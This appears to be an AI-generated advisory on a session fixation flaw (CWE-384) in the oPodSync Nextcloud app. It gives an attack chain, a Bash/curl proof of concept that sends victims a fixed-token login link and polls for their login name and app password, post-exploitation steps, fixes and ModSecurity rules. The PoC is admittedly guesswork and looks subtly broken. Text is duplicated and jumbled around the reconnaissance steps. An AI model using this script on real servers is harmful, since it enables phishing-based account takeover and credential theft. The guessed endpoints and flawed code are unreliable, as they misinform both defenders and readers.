CVE-2026-141330 — Kd2org OPodSync (0.6.0) — CWE-384
oPodSync through 0.6.0 contains a session fixation vulnerability that allows unauthenticated attackers to hijack sessions because GPodder::startSession() accepts an attacker-supplied token passed to session_id() without regeneration after login. Attackers can send victims a login.php link with a chosen token, then poll the Nextcloud login flow v2 endpoint to obtain the victim's login name and persistent app password.
oPodSync through 0.6.0 contains a session fixation vulnerability that allows unauthenticated attackers to hijack sessions because GPodder::startSession() accepts an attacker-supplied token passed to session_id() without regeneration after login. Attackers can send victims a login.php link with a chosen token, then poll the Nextcloud login flow v2 endpoint to obtain the victim's login name and persistent app password.
🎯 What is this vulnerability?
CVE-2026-141330 is a Session Fixation vulnerability (CWE-384) in oPodSync (a Nextcloud app for podcast synchronization) versions through 0.6.0.
Technical Flaw Analysis
The core issue lies in theGPodder::startSession() function. In a secure implementation, when a user successfully authenticates, the server must regenerate the session ID to prevent an attacker from pre-defining a session and having the victim log into it.However, in oPodSync ≤ 0.6.0:
1. The application accepts a user-supplied token via the session_id() parameter.
2. It calls GPodder::startSession() with this attacker-controlled token.
3. Crucially, it does NOT regenerate the session ID after the login event.
This allows an unauthenticated attacker to:
1. Create a session with a known ID (e.g., ATTACKER_TOKEN).
2. Trick a victim into visiting a link that initializes this session (e.g., login.php?session_id=ATTACKER_TOKEN).
3. When the victim logs in, the session ID remains ATTACKER_TOKEN.
4. The attacker, who already possesses ATTACKER_TOKEN, now has a valid, authenticated session for the victim.
CVSS Vector Breakdown
- AV:N / AC:L / PR:N / UI:R: Network-based, low complexity, no privileges required, but User Interaction is Required (victim must click a link and log in).
- C:H / I:H / A:N: High Confidentiality and Integrity impact. The attacker gains full access to the victim's Nextcloud account (files, calendars, contacts, etc.) and can modify data, but does not directly impact availability (no DoS).
- Target Identification: The attacker identifies a Nextcloud instance with the oPodSync app installed.
- Version Check: * Check the app version via the Nextcloud App Store API or by inspecting the
⚡ Attack Chain
1. Discovery & Reconnaissance
appinfo/info.xml file if accessible (rarely public).
* Alternatively, attempt to access oPodSync-specific endpoints (e.g., /index.php/apps/opodsync/...) to confirm presence.
* Since the CVE affects "through 0.6.0," any version ≤ 0.6.0 is vulnerable.2. Exploitation
The attacker needs to: 1. Generate a random session token (e.g.,SESS_FIX_12345).
2. Craft a malicious URL that forces the Nextcloud login flow to use this token.
3. Send this URL to the victim (via email, chat, etc.).
4. Poll the Nextcloud login flow v2 endpoint to detect when the victim logs in and extract their credentials.Illustrative PoC (Bash + curl)
Note: The exact endpoint for oPodSync's session initiation may vary. The following is an illustrative example based on the CVE description.#!/bin/bash
# Step 1: Define the fixed session token
FIXED_TOKEN="ATTACKER_SESSION_$(openssl rand -hex 16)"
NEXTCLOUD_URL="https://victim-nextcloud.example.com"
echo "[*] Attacker Session Token: $FIXED_TOKEN"
# Step 2: Craft the malicious login URL
# The CVE states: "send victims a login.php link with a chosen token"
# This implies the oPodSync app or Nextcloud's login flow accepts a session_id parameter.
MALICIOUS_URL="${NEXTCLOUD_URL}/index.php/login.php?session_id=${FIXED_TOKEN}"
echo "[*] Malicious URL: $MALICIOUS_URL"
echo "[*] Send this URL to the victim via email/chat."
# Step 3: Poll the Nextcloud Login Flow v2 endpoint
# Nextcloud's login flow v2 allows unauthenticated users to check if a specific
# session/token is now authenticated and retrieve user info.
# Reference: https://docs.nextcloud.com/server/latest/admin_manual/configuration_user/login_flow_v2.html
echo "[*] Polling Nextcloud Login Flow v2 endpoint..."
while true; do
# The login flow v2 endpoint typically requires a 'token' parameter
# which corresponds to the session ID or a login token.
# In this context, we assume the session_id is used as the token.
RESPONSE=$(curl -s -X GET \
"${NEXTCLOUD_URL}/index.php/login/v2" \
-H "Accept: application/json" \
-d "token=${FIXED_TOKEN}" \
--data-urlencode "token=${FIXED_TOKEN}" \
-w "\n%{http_code}")
HTTP_CODE=$(echo "$RESPONSE" | tail -n1)
BODY=$(echo "$RESPONSE" | head -n -1)
# Check if the session is now authenticated (HTTP 200 with user data)
if [[ "$HTTP_CODE" == "200" ]] && echo "$BODY" | grep -q "loginName"; then
echo "[+] SUCCESS: Victim has logged in!"
echo "[+] Response: $BODY"
# Extract login name and app password if present
LOGIN_NAME=$(echo "$BODY" | jq -r '.loginName')
APP_PASSWORD=$(echo "$BODY" | jq -r '.appPassword')
echo "[+] Victim Login Name: $LOGIN_NAME"
echo "[+] Victim App Password: $APP_PASSWORD"
# Save credentials
echo "$LOGIN_NAME:$APP_PASSWORD" > victim_credentials.txt
break
else
echo "[-] Not yet authenticated. Retrying in 5s..."
sleep 5
fi
doneKey Technical Note:
The CVE explicitly mentions polling the Nextcloud login flow v2 endpoint to obtain the victim's login name and persistent app password. This is a critical detail. Nextcloud's login flow v2 is designed for device pairing and can return sensitive user data if the session is valid. The attacker does not need to brute-force the password; they simply wait for the victim to authenticate in the fixed session.
3. Post-Exploitation
Once the attacker obtains the victim's login name and app password: 1. Account Takeover: The attacker can log in directly to the victim's Nextcloud account using the stolen credentials. 2. Data Exfiltration: Access all files, calendars, contacts, and notes stored in Nextcloud. 3. Persistence: The attacker can create additional app passwords or API tokens to maintain access even if the victim changes their password (if the app password remains valid). 4. Lateral Movement: If the victim has access to other services via Nextcloud integrations (e.g., SSO, external storage), the attacker may leverage those.🌍 Real World Impact
Confidentiality (High)
Integrity (High)
Availability (None)
Practical Consequences
🛡️ Remediation & Mitigation
1. Upgrade (Primary Fix)
2. Workarounds
3. Detection (IoCs)
login.php with a session_id parameter that matches a known attacker pattern (e.g., long random hex strings).4. WAF/ModSecurity Rule (Illustrative)
Note: This rule is illustrative and may need tuning to avoid false positives.# ModSecurity Rule to detect potential session fixation attempts
# Look for login.php requests with a session_id parameter
SecRule REQUEST_URI "@rx /login\.php" \
"id:100001,phase:1,deny,status:403,msg:'Potential Session Fixation Attempt',log,auditlog"
# More specific: Look for session_id parameter in login requests
SecRule ARGS:session_id "@rx ^[a-f0-9]{32,}$" \
"id:100002,phase:1,deny,status:403,msg:'Suspicious Session ID in Login Request',log,auditlog"⚠️ Urgency
Recommended Action
1. Immediate: Identify all Nextcloud instances with oPodSync installed. 2. Within 24-48 Hours: Upgrade oPodSync to a patched version or disable the app. 3. Ongoing: Monitor for suspicious login activity and enforce strong password policies.Why High Priority?
Although user interaction is required, the impact is severe (full account takeover). Attackers can easily distribute malicious links via phishing emails, making this a realistic threat for organizations using Nextcloud for sensitive data. The availability of a simple polling mechanism for credential theft lowers the barrier for exploitation.
[🤖 CVE Professor AI Security Engine]
FOFA Query